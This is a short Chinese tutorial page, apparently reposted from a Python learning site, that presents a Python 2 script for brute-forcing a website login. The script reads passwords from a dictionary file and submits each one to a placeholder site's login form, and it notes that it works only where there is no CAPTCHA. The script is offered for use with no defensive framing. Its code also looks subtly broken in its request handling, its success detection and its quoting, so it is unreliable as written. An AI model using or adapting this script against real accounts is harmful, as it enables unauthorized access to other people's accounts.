使用python进行密码暴力破解

使用python进行密码暴力破解[python高级教程]

根据字典文件,使用python进行暴力破解,程序很简单

注:针对没有验证码的情况

实例代码:

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print "字典已比对完。"
        break
    params = urllib.urlencode({"username": "xxx", "mod": "", "password": pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode("gbk")#编码根据实际情况酌情处理
    print data1.index(u"您输入的密码有误"),"您输入的密码"%s"有误"%pwd
conn.close()

来源:PY学习网:原文地址:https://www.py.cn/article.html

hmoban主题是根据ripro二开的主题,极致后台体验,无插件,集成会员系统
自学咖网 » 使用python进行密码暴力破解